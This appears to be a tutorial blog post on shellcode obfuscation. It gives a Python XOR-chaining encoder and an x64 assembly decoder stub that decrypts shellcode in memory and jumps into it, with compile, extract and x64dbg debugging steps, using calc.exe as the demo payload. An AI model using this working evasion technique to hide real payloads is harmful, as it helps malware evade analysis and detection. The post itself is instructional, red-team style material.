Obfuscation: Babe, I’ve just swapped the bytes

Polymorphism: An object that may look different, but always performs the same function.
In the previous post, I decrypted an encrypted shellcode in memory and executed it. The encryption method was a simple XOR transformation applied to every byte.
Now, I want to introduce more dynamism to the encryption process to make reverse-engineering and decryption of the shellcode more difficult.
Preliminary Considerations
How can I eliminate the static pattern imposed by a fixed XOR key?
Instead of encrypting every byte with the key, I will encrypt only every even-indexed byte using the XOR key. The odd-indexed bytes will then be encrypted using the result of the previous transformation1
Example
As shown below, simply changing the XOR key drastically alters the output.
| Byte 1 | Byte 2 | Byte 3 | Byte 4 | |
|---|---|---|---|---|
| Plaintext | 01 | AF | 45 | C3 |
| XOR Key 1 | 15 | 14 | 15 | 50 |
| Encrypted | 14 | BB | 50 | 93 |
| XOR Key 2 | 57 | 56 | 57 | 12 |
| Encrypted | 56 | F9 | 12 | D1 |
The Code
Step 1: Python Encoder
The Python function is straightforward:
- Called with the target bytes and the desired XOR key
- Initializes required variables
- Iterates through each byte using a
forloop - If the index is even:
- Encrypt it with the XOR key
- Append to the output bytearray
- Store it for the next round
- If the index is odd:
- XOR it with the previously encrypted byte
- Append the result to the bytearray
- Finally, return the encrypted bytearray
def encrypt(data: bytes, xor_key: int) -> bytes:
transformed = bytearray()
prev_enc_byte = 0
for i, byte in enumerate(data):
if i % 2 == 0: # even byte positions
enc_byte = byte ^ xor_key
else: # odd byte positions
enc_byte = byte ^ prev_enc_byte
transformed.append(enc_byte)
prev_enc_byte = enc_byte
return bytes(transformed)Step 2: Assembly Decoder
We now need the corresponding assembly code to reverse the encryption. The full code can be found at the end of this post.
Step 2.1: Initialization and JMP-CALL-POP
_start:
xor rax, rax
xor rbx, rbx
xor rcx, rcx
mov cl, 242
jmp short call_decoder- Zeroes out
RAX,RBX, andRCX - Sets
CLto the shellcode length - Jumps over the shellcode to initiate decryption
call_decoder:
call decoder
Shellcode: db 0x75,0x3d...0x75callpushes the address of the shellcode onto the stack
decoder:
pop rsi- Pops the shellcode address into
RSI
Schritt 2.2: Decoder Loop
decode_loop:
test rcx, rcx
jz Shellcode- Ends loop if
RCX(the shellcode length) is zero
mov rdx, rsi
sub dl, Shellcode
test dl, 1
jnz odd_byte- Calculates the index relative to the shellcode base
testchecks if the index is odd or even (last bit = 1 → odd)
Here is how test checks values:
| Dezimal | 1 | 2 | 3 | 4 |
|---|---|---|---|---|
| Binär | 0001 | 0010 | 0011 | 0100 |
The Last bit of an even byte is always a zero.
Even Bytes
mov al, [rsi]
xor byte [rsi], 0x20
jmp post_processing- Store current byte in
ALfor the next iteration - Decrypt using fixed XOR key
0x20
Odd Bytes
odd_byte:
xor byte [rsi], al - Decrypt using previous byte’s encrypted value
Post-Processing
post_processing:
inc rsi
dec rcx
jmp decode_loop- Move to next byte
- Decrease loop counter
- Repeat loop
Step 2.3: Shellcode Execution
When the loop ends, the now-decrypted shellcode is executed directly.
Step 2.4: Compilation and Cleanup
Compile using:
nasm -f win64 poly2.asm -o poly.oClean up and extract the payload using ShenCode:
python shencode.py output -i poly2.o -s inspect
...
0x00000096: 20 00 50 60 48 31 c0 48
...
0x00000400: a3 67 28 75 1a 00 00 00- Identify opcode boundaries:
python shencode.py extract -i poly2.o -s .text- Format as C-compatible output:
python shencode.py output -i poly2.raw --syntax c
...
"\x48\x31\xc0...x67\x28\x75";Step 3: Injecting
Now we need an injector to load the shellcode into memory. You can reuse the one from the previous post on polymorphic in-memory decoders.
After compilation, debugging is done using x64dbg.

Press F9 to run to the entry point

Locate main() and set a breakpoint with F2

Step into (F7) and find the final call before RET—this executes the shellcode

At this point, the lower region contains the encrypted shellcode, and the decoder is above. Use Ctrl+F7 for slow-motion stepping to watch the decryption in real time.
In this case, the payload used was calc.exe.

Repository
Footnotes
-
Note: Even and odd refer to byte offsets; Byte 1 at offset 0 is even, Byte 2 is odd. ↩